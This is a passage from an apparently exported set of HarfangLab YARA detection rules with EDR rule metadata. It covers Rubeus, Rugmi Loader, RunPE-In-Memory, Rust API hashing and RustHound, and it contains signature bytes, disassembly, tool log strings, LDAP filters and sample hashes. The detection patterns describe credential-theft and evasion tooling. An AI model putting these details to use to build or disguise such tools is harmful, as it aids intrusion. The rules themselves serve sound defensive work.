+  "content": "rule rubeus_c01d93bfcf19 {\n    meta:\n        title = \"Rubeus Tool (c01d93bfcf19)\"\n        id = \"328b9ad8-d682-4624-940f-c01d93bfcf19\"\n        description = \"Detects Rubeus.\\nRubeus is a C# tool used for interacting with and manipulating Kerberos tickets, enabling various attacks like ticket harvesting, forging, and Kerberoasting. It provides functionalities for ticket requests, renewals, and constrained delegation abuse, among others, commonly used in post-exploitation scenarios.\\nIt is recommended to investigate the context around this alert to look for malicious actions and to determine if the usage of this tool is legitimate.\"\n        references = \"https://github.com/GhostPack/Rubeus\"\n        date = \"2021-04-07\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1558;attack.t1558.001;attack.t1558.002;attack.t1558.003;attack.t1558.004\"\n        classification = \"Windows.Tool.Rubeus\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Rubeus.Commands.Brute.DomainUsernames()\n        $domain_usernames = {\n            11 ??                       // ldloc.s  0xA\n            20 2E 05 07 80              // ldc.i4   0x8007052E\n            2E ??                       // beq.s    loc_12202\n\n            [0-2]                       // br.s\n\n            11 ??                       // ldloc.s  0xF\n            20 30 20 07 80              // ldc.i4   0x80072030\n            2E ??                       // beq.s    loc_149EB\n\n            [0-2]                       // br.s\n\n            11 ??                       // ldloc.s  0xF\n            20 32 20 07 80              // ldc.i4   0x80072032\n            2E ??                       // beq.s    loc_149E0\n\n            [0-2]                       // br.s\n\n            11 ??                       // ldloc.s  0xF\n            20 3A 20 07 80              // ldc.i4   0x8007203A\n            2E ??                       // beq.s    loc_149CA\n        }\n\n    condition:\n        $domain_usernames\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "rubeus_c01d93bfcf19"
+  ],
+  "rule_creation_date": "2021-04-07",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Rubeus"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1558",
+    "attack.t1558.001",
+    "attack.t1558.004",
+    "attack.t1558.002",
+    "attack.t1558.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-rubeus_ebaa57ddf7d5_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563208Z",
+  "creation_date": "2026-03-23T11:46:25.563212Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563221Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/GhostPack/Rubeus"
+  ],
+  "name": "rubeus_ebaa57ddf7d5.yar",
+  "content": "rule rubeus_ebaa57ddf7d5 {\n    meta:\n        title = \"Rubeus Tool (ebaa57ddf7d5)\"\n        id = \"96cff2c8-8ae6-496b-ad56-ebaa57ddf7d5\"\n        description = \"Detects Rubeus.\\nRubeus is a C# tool used for interacting with and manipulating Kerberos tickets, enabling various attacks like ticket harvesting, forging, and Kerberoasting. It provides functionalities for ticket requests, renewals, and constrained delegation abuse, among others, commonly used in post-exploitation scenarios.\\nIt is recommended to investigate the context around this alert to look for malicious actions and to determine if the usage of this tool is legitimate.\"\n        references = \"https://github.com/GhostPack/Rubeus\"\n        date = \"2021-03-24\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1558;attack.t1558.001;attack.t1558.002;attack.t1558.003;attack.t1558.004\"\n        classification = \"Windows.Tool.Rubeus\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // TypeLibGUID\n        $guid = \"658C8B7F-3664-4A95-9572-A3E5871DFC06\" ascii nocase wide\n\n        // Rubeus ASCII logo\n        $ascii_logo_1 = \"   ______        _                      \" wide\n        $ascii_logo_2 = \"  (_____ \\\\      | |                     \" wide\n        $ascii_logo_3 = \"   _____) )_   _| |__  _____ _   _  ___ \" wide\n        $ascii_logo_4 = \"  |  __  /| | | |  _ \\\\| ___ | | | |/___)\" wide\n        $ascii_logo_5 = \"  | |  \\\\ \\\\| |_| | |_) ) ____| |_| |___ |\" wide\n        $ascii_logo_6 = \"  |_|   |_|____/|____/|_____)____/(___/\" wide\n\n        // A bunch of log messages\n        $log_1 = \"[+] Password change success!\" wide\n        $log_2 = \"[X] Password change error: {0}\" wide\n        $log_3 = \"[*] Building Authenticator with encryption key type\" wide\n        $log_4 = \"[*] Building AP-REQ for the MS Kpassword request\" wide\n        $log_5 = \"[*] New password value: {0}\" wide\n        $log_6 = \"[*] Changing password for user: {0}@{1}\" wide\n        $log_7 = \"[*] Building TGS-REQ renewal for: \" wide\n        $log_8 = \"[*] Sleeping for {0} minutes (endTime-30) before the next renewal\" wide\n        $log_9 = \"[*] User       : {0}@{1}\" wide\n        $log_11 = \"[*] endtime    : {0}\" wide\n        $log_12 = \"[*] renew-till : {0}\" wide\n        $log_13 = \"[*] renew-till window ({0}) has passed.\" wide\n        $log_14 = \"[*] Initializing Kerberos GSS-API w/ fake delegation for target\" wide\n        $log_15 = \"[+] Kerberos GSS-API initialization success!\" wide\n        $log_16 = \"[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.\" wide\n        $log_17 = \"[*] Found the AP-REQ delegation ticket in the GSS-API output.\" wide\n        $log_18 = \"[X] Error: InitializeSecurityContext error: {0}\" wide\n        $log_19 = \"[X] Error: AcquireCredentialsHandle error: {0}\" wide\n        $log_20 = \"[X] You need to be in high integrity for the actions specified.\" wide\n\n        // Strings that are useful to deliver the payload (aka not logs)\n        // They act as a final barrier in case the binary is stripped of useless strings (ascii log+logs)\n        $payload_1 = \"(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))\" wide\n        $payload_2 = \"(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName={0}))\" wide\n        $payload_3 = \"(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))\" wide\n        $payload_4 = \"(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))\" wide\n        $payload_5 = \"(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))\" wide\n        $payload_6 = \"$krb5asrep${0}@{1}:{2}\" wide\n        $payload_7 = \"$krb5asrep$23${0}@{1}:{2}\" wide\n        $payload_8 = \"20370913024805Z\" wide\n        $payload_9 = \"1.3.6.1.5.2.3.1\" wide\n\n    condition:\n        uint16(0) == 0x5A4D and (\n            $guid\n            or (all of ($ascii_logo_*))\n            or (13 of ($log_*))\n            or (6 of ($payload_*))\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "rubeus_ebaa57ddf7d5"
+  ],
+  "rule_creation_date": "2021-03-24",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Rubeus"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1558",
+    "attack.t1558.001",
+    "attack.t1558.004",
+    "attack.t1558.002",
+    "attack.t1558.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-rugmi_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573106Z",
+  "creation_date": "2026-03-23T11:46:25.573108Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573113Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.infostealers.com/article/novice-rugmi-loader-delivers-various-spyware/\nhttps://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-threat-report-h22023.pdf"
+  ],
+  "name": "rugmi_loader.yar",
+  "content": "rule rugmi_loader {\n    meta:\n        title = \"Rugmi Loader\"\n        id = \"dc5cf6d9-a778-44cd-8cdb-663d6376d895\"\n        description = \"Detects the Rugmi Loader, a malicious Windows application used by threat actors to deliver information stealers.\\nRugmi Loader is known for its ability to inject its components into legitimate processes to achieve persistence and evade detection. It typically operates by using process injection techniques and in-memory execution to avoid traditional file-based detection methods. This loader is often associated with the distribution of various information stealers such as Lumma Stealer, Vidar, and Raccoon Stealer.\"\n        references = \"https://www.infostealers.com/article/novice-rugmi-loader-delivers-various-spyware/\\nhttps://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-threat-report-h22023.pdf\"\n        date = \"2024-09-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1140;attack.t1036;attack.t1055\"\n        classification = \"Windows.Loader.Rugmi\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // e2b5a2c5c54abc1724da865782cecad96296c2c0e59c5d94a8f00c4fa764ec7d\n        // e68623c00519af8a266f9d70dedadf144324eff6d0919c194eb50d84cc8d53ed\n        // aba2631f0a0154ccc91ba5254660ab97121516923586c3aabdfaf55fbcdb7780\n        // 5a29de6bcf53d914ca0853d980dc2bfa325c83349b795321b65490edcc5d47c8\n        // 57b6a6d2ef8764bdf933ff5b3a3d4708454ea0b8ec4b7653f260e5c8bc75fac4\n        // bec843307a15e139adcfd719eced355d1daab2d179406a9274085eab0273c452\n        // 6f345b9fda1ceb9fe4cf58b33337bb9f820550ba08ae07c782c2e142f7323748\n\n        $x1 = {\n                                        // loc_10002F8F:\n            0F AF 74 24 0C                                // imul    esi, [esp+arg_8]\n            0F B6 0C 3A                                   // movzx   ecx, byte ptr [edx+edi]\n            03 F1                                         // add     esi, ecx\n            42                                            // inc     edx\n            3B D0                                         // cmp     edx, eax\n            72 F0                                         // jb      short loc_10002F8F\n        }\n\n        $x2 = {\n            8B 44 24 1C                                   // mov     eax, [esp+arg_18]\n            33 D2                                         // xor     edx, edx\n            66 89 14 48                                   // mov     [eax+ecx*2], dx\n            89 44 24 28                                   // mov     [esp+arg_24], eax\n            8D 04 33                                      // lea     eax, [ebx+esi]\n            89 44 24 24                                   // mov     [esp+arg_20], eax\n            8D 44 24 24                                   // lea     eax, [esp+arg_20]\n            50                                            // push    eax\n            C6 44 24 30 01                                // mov     [esp+4+arg_28], 1\n            FF D7                                         // call    edi\n        }\n\n        $x3 = {\n                                        // loc_40652A:\n            8B 45 F8                                      // mov     eax, [ebp+var_8]\n            03 45 FC                                      // add     eax, [ebp+var_4]\n            0F BE 08                                      // movsx   ecx, byte ptr [eax]\n            85 C9                                         // test    ecx, ecx\n            74 0B                                         // jz      short loc_406542\n            8B 55 FC                                      // mov     edx, [ebp+var_4]\n            83 C2 01                                      // add     edx, 1\n            89 55 FC                                      // mov     [ebp+var_4], edx\n            EB E8                                         // jmp     short loc_40652A\n        }\n\n    condition:\n        1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "rugmi_loader"
+  ],
+  "rule_creation_date": "2024-09-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.Rugmi"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036",
+    "attack.t1140",
+    "attack.t1106",
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-runpe_in_memory_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577718Z",
+  "creation_date": "2026-03-23T11:46:25.577719Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577725Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/aaaddress1/RunPE-In-Memory\nhttps://archive.is/RuKH4"
+  ],
+  "name": "runpe_in_memory.yar",
+  "content": "import \"pe\"\n\nrule runpe_in_memory {\n    meta:\n        title = \"RunPE-In-Memory HackTool\"\n        id = \"cdca5926-18d9-4f2c-a1f2-40a1956b227f\"\n        description = \"Detects the RunPE-In-Memory HackTool.\\nRunPE-In-Memory is a tool designed to inject and execute Portable Executable (PE) files directly into the memory space of a process, enabling attackers to execute malicious code without writing it to disk. This technique is commonly used to evade detection by anti-malware solutions.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/aaaddress1/RunPE-In-Memory\\nhttps://archive.is/RuKH4\"\n        date = \"2024-10-18\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1620\"\n        classification = \"Windows.HackTool.RunPEInMemory\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // ff56771b4eda8231b160a404b5da7211c5be3a6e029c0427f012d197fa3dc35e\n        // e7eafa52a53de3a67f5fac4745af6dba1471ed164f65c5cca2ffce4feaf43669\n        // 54e8fbae0aa7a279aaedb6d8eec0f95971397fea7fcee6c143772c8ee6e6b498\n\n        $s1 = \"[+] Fix Import Address Table\" ascii fullword\n        $s2 = \"[!] Not supported relocations format at %d: %d\" ascii\n        $s3 = \"[+] File %s isn't a PE file.\" ascii fullword\n        $s4 = \"[-] Allocate Image Base At %x Failure.\" ascii fullword\n        $s5 = \"Run Exe Module: %s\" ascii fullword\n\n        $fixiat = {\n            49 89 5B 20                   // mov     [r11+20h], rbx\n            49 B8 00 00 00 80 00 00 00 80 // mov     r8, 8000000080000000h\n            49 89 73 F0                   // mov     [r11-10h], rsi\n            49 89 7B E8                   // mov     [r11-18h], rdi\n            4D 89 63 E0                   // mov     [r11-20h], r12\n            4D 89 6B D8                   // mov     [r11-28h], r13\n            4D 89 73 D0                   // mov     [r11-30h], r14\n            4C 8D 75 10                   // lea     r14, [rbp+10h]\n            4C 03 F1                      // add     r14, rcx\n            4D 89 7B C8                   // mov     [r11-38h], r15\n            48 C7 C1 F0 FF FF FF          // mov     rcx, 0FFFFFFFFFFFFFFF0h\n            4C 89 74 24 60                // mov     [rsp+58h+arg_0], r14\n            48 2B C8                      // sub     rcx, rax\n            48 2B CD                      // sub     rcx, rbp\n            48 89 4C 24 68                // mov     [rsp+58h+arg_8], rcx\n        }\n\n        $xor1 = {\n            0F 1F 00                                      // nop     dword ptr [rax]\n\n                                        // loc_140001390:\n            30 0C 0F                                      // xor     [rdi+rcx], cl\n            48 FF C1                                      // inc     rcx\n            48 3B CE                                      // cmp     rcx, rsi\n            7C F5                                         // jl      short loc_140001390\n\n                                        // loc_14000139B:\n            4C 89 64 24 60                                // mov     [rsp+48h+arg_10], r12\n            4C 89 74 24 68                                // mov     [rsp+48h+arg_18], r14\n            4C 89 7C 24 20                                // mov     [rsp+48h+var_28], r15\n            48 85 FF                                      // test    rdi, rdi\n        }\n\n        $xor2 = {\n            48 8D 04 31                                   // lea     rax, [rcx+rsi]\n            48 2B F9                                      // sub     rdi, rcx\n            0F 1F 00                                      // nop     dword ptr [rax]\n\n                                        // loc_140001400:\n            80 30 C7                                      // xor     byte ptr [rax], 0C7h\n            48 8D 40 01                                   // lea     rax, [rax+1]\n            48 83 EF 01                                   // sub     rdi, 1\n            75 F3                                         // jnz     short loc_140001400\n        }\n\n    condition:\n        3 of ($s*) or\n        $fixiat or\n        1 of ($xor*) or\n        // RunPEinMemory64.exe\n        pe.imphash() == \"e783b8951b88d727c7c79868a2219f1d\" or\n        // RunPEinMemory32.exe\n        pe.imphash() == \"ff6ffd6e908fd627e916f2c76dd3eb8c\" or\n        // Custom version\n        pe.imphash() == \"b09c08b0f5712e5d87f286130fa3de2d\" or\n        pe.imphash() == \"fa8b8d9aac4d71e1159d9ef3f9746ad0\"\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "runpe_in_memory"
+  ],
+  "rule_creation_date": "2024-10-18",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.RunPEInMemory"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1620"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-rust_dbj2_api_hashing_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.589695Z",
+  "creation_date": "2026-03-23T11:46:25.589697Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.589703Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/trickster0/OffensiveRust\nhttps://attack.mitre.org/techniques/T1027/007/"
+  ],
+  "name": "rust_dbj2_api_hashing.yar",
+  "content": "rule rust_DBJ2_api_hashing {\n    meta:\n        title = \"Generic Rust DBJ2 API Hashing\"\n        id = \"27cd8ca8-79cf-41d7-8e14-57e9814c429c\"\n        description = \"Detects API hashing code present in Rust samples.\\nAPI hashing is a technique used to dynamically resolve functions called by the malware, allowing it to hide malicious activities and evade defensive analysis. This technique helps the malware avoid static detection by using dynamic function resolution.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/trickster0/OffensiveRust\\nhttps://attack.mitre.org/techniques/T1027/007/\"\n        date = \"2025-12-09\"\n        modified = \"2025-12-11\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.007;attack.privilege_escalation;attack.t1055.001;attack.t1055.002\"\n        classification = \"Windows.Generic.ApiHashing\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 3afb0d271a8f820fca5b61175e9091e692cbfb1fd436e611bab9abf7f51f7822\n        // da3b988e7e9a20a31d0fd11f67d4c8148a99545d21009fba31c178a72744c414\n\n        // struct _TEB* Self = gsbase->NtTib.Self\n        // struct _PEB* rax_1\n        // rax_1.d = Self->ProcessEnvironmentBlock.d\n        // rax_1:4.d = Self->ProcessEnvironmentBlock:4.d\n        // struct _LDR_DATA_TABLE_ENTRY_LIST_ENTRY_LO* Flink =\n        //     &rax_1->Ldr->InLoadOrderModuleList\n\n        $peb_walk_to_module_names = {\n            50                          // push    rax {var_18}\n            65 48 8B 04 25 30 00 00 00  // mov     rax, qword [gs:0x30]\n            48 8B 40 60                 // mov     rax, qword [rax+0x60 {_TEB::ProcessEnvironmentBlock.d}] {_TEB::ProcessEnvironmentBlock+4.d}\n            48 8B 50 18                 // mov     rdx, qword [rax+0x18 {_PEB::Ldr}]\n            48 83 C2 10                 // add     rdx, 0x10 {_PEB_LDR_DATA::InLoadOrderModuleList}\n        }\n\n        $djb2_hash_constant = {\n            41 B9 05 15 00 00           // mov     r9d, 0x1505\n        }\n\n        $dbj2_hash_op = {\n            40 80 FE 61                 // cmp     sil, 0x61\n            40 0F B6 F6                 // movzx   esi, sil\n            40 0F B6 FF                 // movzx   edi, dil\n            0F 42 FE                    // cmovb   edi, esi\n            44 89 CE                    // mov     esi, r9d\n            C1 E6 05                    // shl     esi, 0x5\n            44 01 CE                    // add     esi, r9d\n            44 0F B6 CF                 // movzx   r9d, dil\n            41 01 F1                    // add     r9d, esi\n        }\n\n        condition:\n            all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "rust_DBJ2_api_hashing"
+  ],
+  "rule_creation_date": "2025-12-09",
+  "rule_modified_date": "2025-12-11",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.ApiHashing"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.007",
+    "attack.t1055.002",
+    "attack.t1055.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-rusthound_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584950Z",
+  "creation_date": "2026-03-23T11:46:25.584952Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584958Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/OPENCYBER-FR/RustHound"
+  ],
+  "name": "rusthound.yar",
+  "content": "rule rusthound {\n    meta:\n        title = \"RustHound Tool\"\n        id = \"8ae00796-83ba-4ca0-9640-d8c2400581ea\"\n        description = \"Detects RustHound, a Rust-based data collection tool used for reconnaissance and identity attacks in Active Directory environments.\\nRustHound collects data from Active Directory to reveal hidden relationships, aiding in identity-based attacks.\\nIt is derived from the SharpHound project and is part of the BloodHound framework.\\nIt is recommended to investigate the context around this alert to look for malicious actions and to determine if the usage of this tool is legitimate.\"\n        references = \"https://github.com/OPENCYBER-FR/RustHound\"\n        date = \"2022-10-27\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1087;attack.t1482;attack.t1615;attack.t1201;attack.t1069.001;attack.collection;attack.t1560\"\n        classification = \"Windows.Tool.RustHound\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // c9a65da2540901e3b6c93b71677457400aeea8cbc28426e3c3e6bf842f3f057b\n\n        $general_1 = \"Domain name like: G0H4N.LAB\" ascii\n        $general_2 = \"Domain Controler FQDN like: DC01.G0H4N.LAB\" ascii // Typo is intended.\n        $general_3 = \"RustHound will compress the JSON files into a zip archive\" ascii\n        $general_4 = \"https://twitter.com/g0h4n_0Active Directory data collector for BloodHound\" ascii\n        $general_5 = \"Prepare ldaps request. Like ldaps://G0H4N.LAB/pathodirpath\" ascii\n\n        $internal_structs_1 = \"rusthound::enums::acl\" fullword ascii\n        $internal_structs_2 = \"rusthound::json::maker\" fullword ascii\n        $internal_structs_3 = \"rusthound::ldap\" fullword ascii\n        $internal_structs_4 = \"rusthound::modules::resolver\" fullword ascii\n        $internal_structs_5 = \"rusthoundVerbosity level:\" fullword ascii\n\n        $logging_1 = \"Replace SID with checker.rs started\" fullword ascii\n        $logging_2 = \"Adding affected computers in domain GpoChanges\" fullword ascii\n        $logging_3 = \"affected computers added!\" fullword ascii\n        $logging_4 = \"guid for gplinks added!\" fullword ascii\n\n        $json_files_1 = \"Making groups.json\" fullword ascii\n        $json_files_2 = \"Making computers.json\" fullword ascii\n        $json_files_3 = \"Making gpos.json\" fullword ascii\n        $json_files_4 = \"Making containers.json\" fullword ascii\n\n        $active_directory_1 = \"TRUSTED_DOMAIN_FULL_INFORMATION2\" fullword ascii\n        $active_directory_2 = \"TOKEN_MANDATORY_POLICYPolicy\" fullword ascii\n        $active_directory_3 = \"Connected to  Active Directory!\" fullword ascii\n        $active_directory_4 = \"M128AMINIDUMP_CALLBACK_TYPEMINIDUMP_DIRECTORY\" fullword ascii\n\n    condition:\n        (uint16(0) == 0x5A4D) and (\n            all of ($json_files_*)\n            or all of ($active_directory_*)\n            or all of ($internal_structs_*)\n            or all of ($logging_*)\n            or 3 of ($general_*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "rusthound"
+  ],
+  "rule_creation_date": "2022-10-27",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.RustHound"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1482",
+    "attack.t1615",
+    "attack.t1069.001",
+    "attack.t1560",
+    "attack.t1201",
+    "attack.t1087"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-s4killer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
